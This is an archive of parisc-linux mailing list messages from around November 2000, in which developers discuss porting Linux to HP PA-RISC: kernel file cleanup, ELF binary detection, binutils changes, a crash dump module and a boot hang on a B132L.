Cc: "Alexandru Pirvulescu" <Pirvulescu_Alexandru@telemobil.ro>,
        <parisc-linux@puffin.external.hp.com>
To: "Alex deVries" <adevries@linuxcare.com>,
        "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: bvalkema@knowhowww.nl  Wed Nov 22 00:36:08 2000
Original-Received: from garm.bart.nl (garm.bart.nl [194.158.170.13])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA18410
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 00:36:07 -0700
Original-Received: from paardvantroje (cable036.196.eneco.bart.nl [195.38.196.36])
	by garm.bart.nl (8.10.1/8.10.1) with SMTP id eAM7Y8l73870;
	Wed, 22 Nov 2000 08:34:09 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:8576

Alex deVries wrote:
> Grant Grundler wrote:
> > Yes.
> > I was already asked this weekend to dig up technical info on LED
> > and soft power control. I guess this is my reminder to do that. :^)
>
> Isn't there a PDC call (pdc_chassis?) to do this?  Or is the heartbeat
> LED done by hardware?
>
> - Alex

A couple of months ago, I asked the same question, got answer to look in the
mkLinux sources. I did, and I think it was a register (outb(0xblabla);).

Wrote a driver (and for WAX, got a Intel Flash 32 EISA running), can't
release it now, because of some copyright issues...

Bas


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 23:56:35 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200011220756.XAA21215@milano.cup.hp.com>
References: <200011220650.XAA13575@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619331 6948 80.91.229.3 (22 Nov 2014 01:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:11 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 22 00:55:30 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA19546
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 00:55:30 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id 1B313285
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 00:58:02 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA21215;
	Tue, 21 Nov 2000 23:56:40 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 23:50:03 PST."
             <200011220650.XAA13575@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8577

John Marvin wrote:
> In that case, we need to do some cleanup first.

John,
I want a task list which leads us to a submital to linus.
That's why I listed the specific files I wanted moved.

Can you come up with (or ask someone else to come up) with a list of
files which meet your criteria?

All of your criteria sounds reasonable to me.
But I don't have a feel of which files meet your criteria.
If someone makes the task list, I'm happy to help with items
and verify the result works.

thanks,
grant


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Wed, 22 Nov 2000 01:11:57 -0700 (MST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200011220811.BAA14756@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619331 6951 80.91.229.3 (22 Nov 2014 01:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:11 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Nov 22 01:10:58 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA20151
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 01:10:57 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id C9BB240A
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 03:13:12 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id BAA14756 for parisc-linux@puffin.external.hp.com; Wed, 22 Nov 2000 01:11:57 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8578

> Ryan Bradetich wrote:
> > Do you really want to merget the ccio-rm-dma.c file into Linus's tree?
> > It is just a reference file used to construct the real ccio-dma.c file ... I
> > don't believe it is referenced anywhere.
>
> Hi Ryan,
> Yes I do. It is supposed to work for ccio+PCX-W platforms (eg C360).
> Keeping it arround will document the pro/con's of that approach and
> give folks who have time (and the right machine) something to experiment
> with instead of writing it from scratch.  If someone finds an application
> it's good for (short transactions with low latency requirements perhaps),
> it's worth having around.
>
> It's not referenced because I didn't add a CONFIG_CCIO_RM_IOMMU flag
> or ccio_rm_init() call to drivers/gsc/gsc.c:gsc_init().  You are welcome
> add this CONFIG flag by hacking arch/parisc/config.in and defconfig.
> If you do, please add rules which only allow one or the other
> CONFIG_CCIO* option to be enabled.
>
Well, personally i'd vote to get rid of it. It works for ONE machine only,
and MAY have an advantage in some small case. But if we keep it, lets make
sure that it is real clear that it should NOT be the default choice.

It should be marked CONFIG_EXPERIMENTAL, and the text associated with it
should clearly show that it works on a C360 only. If possible, it should
also be made clear that ccio-dma.c works for C360, so people who have
C360's don't think they have to choose ccio-rm-dma.c.

Grant, I hope you are prepared to answer the parisc-linux mailing list
questions this is going to generate once parisc-linux starts becoming more
visible.  Another FAQ entry perhaps? :-)

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Wed, 22 Nov 2000 01:52:04 -0700 (MST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200011220852.BAA15590@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619332 6954 80.91.229.3 (22 Nov 2014 01:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:12 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Nov 22 01:51:02 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA22725
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 01:51:02 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id D8476233
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 01:53:33 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id BAA15590 for parisc-linux@puffin.external.hp.com; Wed, 22 Nov 2000 01:52:04 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8579

>
> BTW, it's not too hard to check .note.ABI-tag.  The linker arranges for a
> PT_NOTE program header entry to point to it, and the section itself is
> virtually guaranteed to be read in with the header as it's placed right
> after the header along with .interp.

I didn't say it was difficult, I said it was ugly. It means another
parisc only change to the machine independent file fs/binfmt_elf.c,
since the hook provided will not allow this check. Without a change,
binfmt_elf.c won't be smart enough to differentiate a binary produced
by Gnu binutils for HP-UX and a binary produced by Gnu binutils for
Linux, so it will claim both, and then blow up later, rather than
not claiming the HP-UX binary and allowing it to be claimed by
an arch dependent binary handler further down the list.

And binfmt_elf.c does NOT read the program headers in the same read, so
another read would have to be done (the data should be found in in cache
rather than going to disk for it). Since we now need both the program
headers and a section header to determine whether or not we should claim
the file AND binfmt_elf.c also wants to look at those headers after
the file is claimed, a small redesign is probably in order (rather than
re-reading the headers). I'm not sure whether or not Linus would buy
that.

So, I guess I'll pursue the interpreter field instead, since that is
what sparc is doing (i.e. they have their own sparc only code in
binfmt_elf.c). Since that will be an easier sell. I need to do more
research here. I suspect that statically linked binaries are not going
to allow this solution to work though.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils update
Date: Wed, 22 Nov 2000 23:28:45 +1100 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011222319230.16860-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619332 6957 80.91.229.3 (22 Nov 2014 01:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Wed Nov 22 05:27:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA25229
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 05:27:47 -0700
Original-Received: (qmail 29330 invoked by uid 15267); 22 Nov 2000 12:29:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29298 invoked from network); 22 Nov 2000 12:29:53 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 12:29:53 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA06116
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 23:28:45 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8580

I've just committed a change to binutils that cures an ELF spec violation.
We now no longer create plabels for DT_INIT and DT_FINI and instead rely
on the dynamic linker to create them for us.  This means you need an
updated glibc, that I committed a little earlier today, to create the
plabel function pointers if you update your binutils.

You have been warned...

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Crash dump module
Date: Wed, 22 Nov 2000 15:14:18 +0100
Organization: H.P
Lines: 15
Approved: news@gmane.org
Message-ID: <3A1BD4BA.B771D3BE@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619332 6959 80.91.229.3 (22 Nov 2014 01:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:12 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Wed Nov 22 07:18:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA26278
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 07:18:54 -0700
Original-Received: (qmail 15775 invoked by uid 15267); 22 Nov 2000 14:21:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15753 invoked from network); 22 Nov 2000 14:21:09 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 14:21:09 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 390EF1FAD3
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 15:21:02 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id PAA17830 for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 15:18:15 +0100 (MET)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8581

	Hi
Good news, I've finished to recompile the entire chain on hpux 11.00 64bits.
I've recompile my own kernel and booted a small 712/60. It work pretty well.
Now I'm going to start the work about crash dump. So, In my mind, I'll start
from the linux/kernel/panic.c function and I'll add a function dumpsys.c
in the linux/arch/paric directory -> is it okay for you ?
It will depend on the CONFIG_PARISC var (or do you prefer adding a CONFIG_DUMPSYS var ?)

	thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crash dump module
Date: Wed, 22 Nov 2000 07:44:24 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20001122074424.A7909@tausq.org>
References: <3A1BD4BA.B771D3BE@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619332 6961 80.91.229.3 (22 Nov 2014 01:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:12 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: randolph@tausq.org  Wed Nov 22 07:42:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA26879
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 07:42:23 -0700
Original-Received: (qmail 13226 invoked by uid 15267); 22 Nov 2000 14:44:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13200 invoked from network); 22 Nov 2000 14:44:37 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 14:44:37 -0000
Original-Received: (qmail 66691 invoked by alias); 22 Nov 2000 14:44:31 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 66671 invoked by uid 0); 22 Nov 2000 14:44:30 -0000
Original-Received: from dslpppc239.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.148.239)
  by phnxpop2.phnx.uswest.net with SMTP; 22 Nov 2000 14:44:30 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13yb8K-0002fY-00; Wed, 22 Nov 2000 07:44:24 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A1BD4BA.B771D3BE@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Wed, Nov 22, 2000 at 03:14:18PM +0100
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8582

> It will depend on the CONFIG_PARISC var (or do you prefer adding a CONFIG_DUMPSYS var ?)

I think there was a consensus to use __hppa__ instead of CONFIG_PARISC
...

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CLAPPER,MIKE \(HP-USA,ex1\)" <mike_clapper@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B132L boot hang
Date: Wed, 22 Nov 2000 07:54:24 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <ED34C7F701D5D31196260090278CAFDA01981A60@xatl04.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619333 6965 80.91.229.3 (22 Nov 2014 01:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:13 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: mike_clapper@hp.com  Wed Nov 22 08:52:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA27913
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 08:52:13 -0700
Original-Received: (qmail 13304 invoked by uid 15267); 22 Nov 2000 15:54:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13297 invoked from network); 22 Nov 2000 15:54:28 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 15:54:28 -0000
Original-Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24])
	by atlrel2.hp.com (Postfix) with ESMTP id 2155DA1
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 10:54:28 -0500 (EST)
Original-Received: from xrosebh3.rsvl.itc.hp.com (xrosebh3.rsvl.itc.hp.com [15.34.240.67])
	by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id IAA07658
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 08:54:26 -0700 (MST)
Original-Received: by xrosebh3.rsvl.itc.hp.com with Internet Mail Service (5.5.2650.21)
	id <XM3ZCJ1K>; Wed, 22 Nov 2000 07:54:27 -0800
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8583



Hello Everyone,

I download the cross-compilers and  build a lifimage on Redhat 6.1.  I set
up nfsroot on a S712 running hpux 10.20.  With this I am able to boot a
B132L running pdc 6.1 - 
almost.  I get a hang right after -

VFS: Mounted root (nfs filesystem) readonly
Warning: unable to open an initial console


I have a 700/96 on serial port 1 as the console.  I have hpux on a disc in
the unit I'm trying to boot - from HPUX I have verified I can nfs mount the
filesys I'm using for NFSROOT.

With linux in this condition the machine will respond to ping.  I will also
react to a telnet - i get the telnet banner then "connection closed by
foreign host".  FTP gets "connection 
refused" - so it' partially alive.....

Is there a way to keyword search the developers archive?  I vaguely recall
seeing the 'initial console' warning, but couldn't find it browsing the
developers archive


Thanks,

Mike

**********************************************
Mike Clapper                                  
North American Crisis Management Team        
Hewlett Packard                       

(405) 948-4715
**********************************************


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@mozilla.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker problems
Date: Fri, 30 Apr 1999 19:19:31 -0400
Organization: mozilla.org diplomatic corps
Lines: 18
Approved: news@gmane.org
Message-ID: <372A3A83.84EDABE9@mozilla.org>
References: <Pine.LNX.3.96.990430190529.10592L-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619333 6969 80.91.229.3 (22 Nov 2014 01:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: shaver@mozilla.org  Fri Apr 30 17:18:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA16639
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 17:18:23 -0600
Original-Received: (qmail 5923 invoked by uid 15267); 30 Apr 1999 23:16:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5916 invoked from network); 30 Apr 1999 23:16:31 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 30 Apr 1999 23:16:31 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id QAA19553
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Apr 1999 16:17:59 -0700 (PDT)
Original-Received: from mozilla.org ([205.217.243.67]) by tintin.mcom.com
          (Netscape Messaging Server 4.03) with ESMTP id FB0ZEJ00.KEI;
          Fri, 30 Apr 1999 16:18:19 -0700 
Original-Sender: shaver@netscape.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.3-5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8584

Alex deVries wrote:
> make: *** [vmlinux] Aborted (core dumped)
> make: *** Deleting file `vmlinux'
> 
> That's remarkably gross, since it indicates that there's a problem with
> the linker.  I'm not quite sure what it is, but the problem seems to come
> up when it's processing lib/libc.a.
> 
> I think that's a good thing for someone to look into.

IIRC, Nat says it's a matter of popping into gdb, spotting the crash
location, fixing the obvious double-free and recompiling.

Mike

-- 
372738.81 362322.32


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Wed, 22 Nov 2000 09:02:03 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <E13ycLT-00039r-00@noam.fc.hp.com>
References: <200011220650.XAA13575@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619333 6971 80.91.229.3 (22 Nov 2014 01:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:13 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: bame@noam.fc.hp.com  Wed Nov 22 08:59:49 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id IAA28371
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 08:59:49 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA18710;
	Wed, 22 Nov 2000 09:02:03 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13ycLT-00039r-00; Wed, 22 Nov 2000 09:02:03 -0700
In-Reply-To: Your message of "Tue, 21 Nov 2000 23:50:03 MST."
             <200011220650.XAA13575@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8585

= I've been lobbying for
= the removal of the almost empty arch/parisc/real directory, and its few
= remaining valid files moved to the kernel directory.

Done.

		    arch/parisc/real
			R.I.P.


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crash dump module
Date: Wed, 22 Nov 2000 08:27:22 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <200011221627.IAA21459@milano.cup.hp.com>
References: <3A1BD4BA.B771D3BE@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619334 6973 80.91.229.3 (22 Nov 2014 01:22:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:14 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 22 09:28:43 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA29225
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 09:28:43 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id E846416C2
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 08:28:50 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA21459;
	Wed, 22 Nov 2000 08:27:23 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Nov 2000 15:14:18 PST."
             <3A1BD4BA.B771D3BE@admin.france.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8586

Bruno Vidal wrote:
> 	Hi
> Good news, I've finished to recompile the entire chain on hpux 11.00 64bits.
> I've recompile my own kernel and booted a small 712/60. It work pretty well.
> Now I'm going to start the work about crash dump. So, In my mind, I'll start
> from the linux/kernel/panic.c function and I'll add a function dumpsys.c
> in the linux/arch/paric directory -> is it okay for you ?

YES!

> It will depend on the CONFIG_PARISC var
> (or do you prefer adding a CONFIG_DUMPSYS var ?)

As Randolph pointed out CONFIG_PARISC is deprecated.
Use "ifdef __hppa__" for changes in *common* (ie not arch/parisc)
files. They should not be needed for anything in arch/parisc
or linux/include/asm-parisc.

Adding a CONFIG_DUMPSYS is a good idea.
Look in linux/arch/parisc/config.in, linux/arch/parisc/defconfig, 
and the various Makefiles for how CONFIG_* flags work.

thanks Bruno!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L boot hang
Date: Wed, 22 Nov 2000 09:27:20 -0800
Lines: 46
Approved: news@gmane.org
Message-ID: <200011221727.JAA21644@milano.cup.hp.com>
References: <ED34C7F701D5D31196260090278CAFDA01981A60@xatl04.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619334 6978 80.91.229.3 (22 Nov 2014 01:22:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:14 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "CLAPPER,MIKE \(HP-USA,ex1\)" <mike_clapper@hp.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 22 10:25:27 2000
